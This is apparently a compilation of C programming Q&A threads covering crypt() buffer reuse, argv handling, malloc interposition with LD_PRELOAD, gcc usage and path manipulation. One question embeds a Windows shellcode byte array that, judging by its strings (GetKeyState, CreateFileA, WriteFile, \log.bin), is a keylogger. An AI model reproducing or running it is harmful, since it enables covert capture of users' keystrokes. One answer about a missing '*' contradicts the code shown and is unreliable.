I'm trying to build a C program that will bruteforce a hash given in argument. Here is the code:
#include <unistd.h>
#include <stdio.h>
#include <crypt.h>
#include <string.h>
const char setting[] = "$6$QSX8hjVa$";
const char values[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int main(int argc, char *argv[])
{
char *hashToCrack = crypt(argv[1], setting);
printf("%s\n", hashToCrack);
for (int i = 0; i < strlen(values); i++)
{
printf("trying %c ...\n", values[i]);
char *try = crypt(&values[i], setting);
if (strcmp(hashToCrack, try) == 0)
{
printf("calc: %s\n", try);
printf("init: %s\n", hashToCrack);
printf("Found!\n");
}
}
return 0;
}
For convenience, I just give in argument a string that will be the one to crack. It is encrypted at the beginning of the main function (stored in hashToCrack). For now, I just work with one char. I compile the program this way: gcc main.c -o main -lcrypt -Wall.
The problem - When I launch this program, I have "Found!" in every iteration in the for loop. It seems that hashToCrack and try are the same. However, I never overwrite hashToCrack, so it should never change.
There is probably something I don't understand with pointers, but I can't find it.
Any idea ? :D
The crypt function returns a pointer to a static data buffer. So when you call it again, the string pointed to by hashToCrack changes.
You need to copy the results of the first call to crypt into a separate buffer.
char *hashToCrack = strdup(crypt(argv[1], setting));
Don't forget to call free on this buffer when you're done with it.
Related
I want to pass a file name to my programm. If I type it in the terminal it works. But if I pass it as a command line parameter it doesn`t print the string in the end. Just something like: "²☺"
Any ideas why?
#include <stdio.h>
int main(int argc, char* argv[]){
char *nameDatei[100];
if(argv[1] != NULL) {
nameDatei[100] = argv[1];
} else {
printf("type in the name of the file: ");
scanf("%s", nameDatei);
}
printf("%s", &nameDatei);
return 0;
}
It only works "by accident" when you type the name at the terminal, and that's because you are either ignoring compiler warnings or using an obsolete compiler (any compiler which is not complaining about the code is obsolescent, though GCC 11.2.0 seems to accept it unless you pass warning options such as -Wall -Wextra -Werror).
You pass a char *(*)[100] to printf() but tell it that the argument is a char *
You pass a char ** to scanf() but tell it that the argument is a char *
You try to access element 100 of an array of size 100, which is one too many.
You happen to have 100 * sizeof(char *) bytes to hold the name, which is where the accident comes in, but that's not the correct type.
You need code more like:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *nameDatei;
char nameBuffer[100];
if (argv[1] != NULL)
nameDatei = argv[1];
else
{
printf("type in the name of the file: ");
if (scanf("%99s", nameBuffer) != 1)
{
fprintf(stderr, "failed to read file name\n");
exit(EXIT_FAILURE);
}
nameDatei = nameBuffer;
}
printf("%s\n", nameDatei);
return 0;
}
I called the source cla61.c and the program cla61. A couple of sample runs:
$ cla61 abyssinian-coffee
abyssinian-coffee
$ cla61
type in the name of the file: abyssinian-coffee
abyssinian-coffee
$
Don't copy command-line arguments unless you are going to modify them. But it's legitimate to make a new variable point to a command-line argument. And when there isn't a command-line argument, you need to allocate space for the replacement value — the value read from the terminal in this example.
I have been trying to intercept calls to malloc and free, following our textbook (CSAPP book).
I have followed their exact code, and nearly the same code that I found online and I keep getting a segmentation fault. I heard our professor saying something about printf that mallocs and frees memory so I think that this happens because I am intercepting a malloc and since I am using a printf function inside the intercepting function, it will call itself recursively.
However I can't seem to find a solution to solving this problem? Our professor demonstrated that intercepting worked ( he didn't show us the code) and prints our information every time a malloc occurs, so I do know that it's possible.
Can anyone suggest a working method??
Here is the code that I used and get nothing:
mymalloc.c
#ifdef RUNTIME
// Run-time interposition of malloc and free based on // dynamic linker's (ld-linux.so) LD_PRELOAD mechanism #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h> #include <dlfcn.h>
void *malloc(size_t size) {
static void *(*mallocp)(size_t size) = NULL; char *error;
void *ptr;
// get address of libc malloc
if (!mallocp) {
mallocp = dlsym(RTLD_NEXT, "malloc"); if ((error = dlerror()) != NULL) {
fputs(error, stderr);
exit(EXIT_FAILURE);
}
}
ptr = mallocp(size);
printf("malloc(%d) = %p\n", (int)size, ptr); return ptr;
}
#endif
test.c
#include <stdio.h>
#include <stdlib.h>
int main(){
printf("main\n");
int* a = malloc(sizeof(int)*5);
a[0] = 1;
printf("end\n");
}
The result i'm getting:
$ gcc -o test test.c
$ gcc -DRUNTIME -shared -fPIC mymalloc.c -o mymalloc.so
$ LD_PRELOAD=./mymalloc.so ./test
Segmentation Fault
This is the code that I tried and got segmentation fault (from https://gist.github.com/iamben/4124829):
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
void* malloc(size_t size)
{
static void* (*rmalloc)(size_t) = NULL;
void* p = NULL;
// resolve next malloc
if(!rmalloc) rmalloc = dlsym(RTLD_NEXT, "malloc");
// do actual malloc
p = rmalloc(size);
// show statistic
fprintf(stderr, "[MEM | malloc] Allocated: %lu bytes\n", size);
return p;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define STR_LEN 128
int main(int argc, const char *argv[])
{
char *c;
char *str1 = "Hello ";
char *str2 = "World";
//allocate an empty string
c = malloc(STR_LEN * sizeof(char));
c[0] = 0x0;
//and concatenate str{1,2}
strcat(c, str1);
strcat(c, str2);
printf("New str: %s\n", c);
return 0;
}
The makefile from the git repo didn't work so I manually compiled the files and got:
$ gcc -shared -fPIC libint.c -o libint.so
$ gcc -o str str.c
$ LD_PRELOAD=./libint.so ./str
Segmentation fault
I have been doing this for hours and I still get the same incorrect result, despite the fact that I copied textbook code. I would really appreciate any help!!
One way to deal with this is to turn off the printf when your return is called recursively:
static char ACallIsInProgress = 0;
if (!ACallIsInProgress)
{
ACallIsInProgress = 1;
printf("malloc(%d) = %p\n", (int)size, ptr);
ACallIsInProgress = 0;
}
return ptr;
With this, if printf calls malloc, your routine will merely call the actual malloc (via mallocp) and return without causing another printf. You will miss printing information about a call to malloc that the printf does, but that is generally tolerable when interposing is being used to study the general program, not the C library.
If you need to support multithreading, some additional work might be needed.
The printf implementation might allocate a buffer only once, the first time it is used. In that case, you can initialize a flag that turns off the printf similar to the above, call printf once in the main routine (maybe be sure it includes a nice formatting task that causes printf to allocate a buffer, not a plain string), and then set the flag to turn on the printf call and leave it set for the rest of the program.
Another option is for your malloc routine not to use printf at all but to cache data in a buffer to be written later by some other routine or to write raw data to a file using write, with that data interpreted and formatted by a separate program later. Or the raw data could be written by a pipe to a program that formats and prints it and that is not using your interposed malloc.
I only used C 2-3 times. Following hello world tutorial did not help. the function should just print to std out console.
#include <stdio.h>
void my_putstr(char* param_1) {
char *t ;
for (t = param_1; *t != '\0'; t++) {
printf("%s", t);
}
}
int main(){
my_putstr("abc");
return 0;
}
How to run this program? I do have main to call & test my putstr function.
I do this:
gcc file.c -o file
gcc file
But it still gives me the error of "main":
(.text+0x20): undefined reference to `main'
collect2: error: ld returned 1 exit status
I do have the main function. What's wrong?
gcc file.c -o file
gcc file
That second line will try to compile the executable file that you created with the first line and, since it's not C source(a), that won't end too well :-)
You need to run the file with something like:
./file
And, just as an aside, you should strive to make your programs more readable, such as with:
#include <stdio.h>
// my_putstr:
// Output the given string multiple times, each time starting
// at the next character. So, for "1234", it would output
// "1234 234 34 4" (without the spaces).
void my_putstr(char *str) {
// Start at position 0, 1, m2, etc until no more string left.
for (char *ptr = str; *ptr != '\0'; ptr++) {
printf("%s", ptr);
}
}
int main(void) {
my_putstr("abc");
return 0;
}
Changes made:
Comments are quite handy if you ever come back to the code after some time;
You should try to avoid simple variable names, use names that make the intent clear (about the only exception are simple i, j, k loop variables;
The two canonical forms of main are int main(int argc, char **argv) (though the "or equivalent" phrase in the standard also allows for int main(int argc, char *argv[])) or int main(void), you should try to stick with them.
By the way, the description in the comments above is an accurate representation of the way the code works. If, instead, you just want to output a string (i.e., not the 1234 234 34 4 behaviour), you're probably better off with something like:
void my_putstr(char *str) {
// Output each character, one at a time.
for (char *ptr = str; *ptr != '\0'; ptr++)
putchar(*ptr);
// Output newline (if desired).
putchar('\n');
}
(a) The gcc program is quite capable of taking other input file types (like object files, assembler files, and so on) but I'm not sure finished executables are one of those types.
If I execute the following code, it´s prin this stack dump error message:
1 [main] MyProg 10876 cygwin_exception::open_stackdumpfile: Dumping stack trace to MyProg.exe.stackdump
after it prints
Shellcode length: 601
Can you say me, what I should change, to get it working?
I have compiled it with Sublime Text and cygwin on Windows 10 64bit.
This is the code:
#include <stdio.h>
#include <string.h>
const char sc[] = "\xfc\x31\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b"
"\x72\x28\x31\xc0\x89\xc1\xb1\x03\xac\xc1\xc0\x08\xac\xe2\xf9\xac"
"\x3d\x4e\x52\x45\x4b\x74\x05\x3d\x6e\x72\x65\x6b\x8b\x5a\x10\x8b"
"\x12\x75\xdc\x8b\x53\x3c\x01\xda\xff\x72\x34\x8b\x52\x78\x01\xda"
"\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64"
"\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b"
"\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd7\x52\x31\xc0\x50\x68"
"\x64\x6c\x65\x41\x68\x65\x48\x61\x6e\x68\x6f\x64\x75\x6c\x68\x47"
"\x65\x74\x4d\x54\x53\xff\xd7\x8d\x64\x24\x14\x50\x68\x4c\x4c\x01"
"\x88\xfe\x4c\x24\x02\x68\x33\x32\x2e\x44\x68\x55\x53\x45\x52\x54"
"\xff\xd0\x31\xd2\x39\xd0\x75\x38\x8d\x64\x24\x0c\x52\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd7"
"\x8d\x64\x24\x10\x50\x68\x4c\x4c\x01\x77\xfe\x4c\x24\x02\x68\x33"
"\x32\x2e\x44\x68\x55\x53\x45\x52\x54\xff\xd0\x8d\x64\x24\x0c\x50"
"\x89\xc2\x68\x61\x74\x65\x01\xfe\x4c\x24\x03\x68\x65\x79\x53\x74"
"\x68\x47\x65\x74\x4b\x54\x52\xff\xd7\x8d\x64\x24\x0c\x50\x68\x65"
"\x01\x01\x55\xfe\x4c\x24\x01\x68\x65\x46\x69\x6c\x68\x57\x72\x69"
"\x74\x54\x53\xff\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe"
"\x4c\x24\x03\x68\x74\x65\x46\x69\x68\x43\x72\x65\x61\x54\x53\xff"
"\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe\x4c\x24\x03\x68"
"\x72\x69\x61\x62\x68\x6e\x74\x56\x61\x68\x6f\x6e\x6d\x65\x68\x6e"
"\x76\x69\x72\x68\x47\x65\x74\x45\x54\x53\xff\xd7\x8d\x64\x24\x18"
"\x50\x6a\x70\x68\x53\x6c\x65\x65\x54\x53\xff\xd7\x8d\x64\x24\x08"
"\x50\x52\x68\x63\x61\x74\x41\x68\x6c\x73\x74\x72\x54\x53\xff\xd7"
"\x8d\x64\x24\x0c\x50\x31\xc9\xb1\x0e\x51\xe2\xfd\x51\x68\x54\x45"
"\x4d\x50\x89\xe1\x6a\x40\x51\x51\xff\x54\x24\x54\x89\xe2\x6a\x01"
"\xfe\x0c\x24\x68\x2e\x62\x69\x6e\x68\x5c\x6c\x6f\x67\x89\xe1\x51"
"\x52\xff\x54\x24\x54\x31\xc9\x51\x51\x80\x04\x24\x80\x6a\x04\x51"
"\x6a\x02\x51\x80\x04\x24\x04\x50\xff\x54\x24\x74\x8d\x64\x24\x4c"
"\x50\x31\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08"
"\xff\x54\x24\x2c\x89\xf0\x3c\xff\x73\xf0\x46\x56\xff\x54\x24\x3c"
"\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x31\xc9\x56\x51"
"\x8d\x0c\x24\x51\x6a\x01\x8d\x4c\x24\x0c\x51\xff\x74\x24\x34\xff"
"\x54\x24\x4c\x8d\x64\x24\x04\xeb\x91";
int main(int argc, char *argv[]){
printf("Shellcode length: %d\n", (int)strlen(sc));
(*(void(*)(void))&sc)();
return 0;
}
This: (*(void(*)(void))&sc)();
You're taking a pointer to the first element of a const char[], casting it to a function pointer and attempting to execute that function.
I can't honestly imagine that ever succeeding.... the only way I can think of to 'get it working', since I have no idea what your intention is, is to not cast const char pointer and attempt to execute it as a function.
If you just want a pointer to a function, this is easy:
void sc (void)
{
// do things
}
int main (void)
{
void (*fptr)(void);
fptr = sc;
fptr();
}
I want to preface this by saying that I've done very little programming in C, so I'd prefer to know why a given solution works rather than just what it is.
I'm trying to write a function which will take a pathname, and return a pathname to a different file in the same directory.
"/example/directory/with/image.png" => "/example/directory/with/thumbnail.png"
What I've tried after reading up on example uses of realpath and dirname (I'm working on Linux; if there's a cross-platform equivalent, let me know) is:
#include <limits.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
char *chop_path(char *orig) {
char buf[PATH_MAX + 1];
char *res, *dname, *thumb;
res = realpath(orig, buf);
if (res) {
dname = dirname(res);
thumb = strcat(dname, "/thumbnail.png");
return thumb;
}
return 0;
}
Compiling it seems to work, but running the program with
int main(void) {
char *res = chop_path("original.png");
if (res) {
printf("Resulting pathname: %s", res);
}
return 0;
}
gives me a segfault. Any hints?
The only problem I see is the signature of your chop_path routine; it should be
char *chop_path(char *orig) {
Your version has a missing *. That makes an enormous difference actually; without the *, you're effectively telling dirname and realpath to interpret the character code of the first character in your argument string as the numerical address (i.e., a pointer to) the path. That's going to point into a location in low memory that you definitely have not allocated; trying to use it results in that "segmentation fault" error, which means, effectively, that you're trying to touch memory you're not allowed to.
The other issue turned out to be that the dirname() function is declared in libgen.h, which you weren't including. If you don't include that header, the compiler assumes dirname() returns int instead of a pointer, and on a 64-bit architecture, the 64-bit return value from the function gets chopped down to 32 bits, a bad pointer is assigned to dname, and that's going to cause your seg fault right there.
If you don't want to use dirname, realpath, unwanted string buffer and string operations, etc - you can do the following:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#define FILE_MAX 100
void chop_path(char path_name[], char new_file[]) {
int len = strlen(path_name);
int i;
for (i=len-1; i>0 ; i--) {
if (path_name[i] == '/') {
strcpy(path_name+i+1, new_file);
break;
}
}
return;
}
int main(void) {
char path[PATH_MAX + 1] = "/this/is/a/path/filename.c";
char new_file[FILE_MAX] = "newfilename.txt";
printf("old : %s \n", path);
chop_path(path, new_file);
printf("new : %s \n", path);
return 0;
}
Output:
$ gcc path.c
$ ./a.out
old : /this/is/a/path/filename.c
new : /this/is/a/path/newfilename.txt
$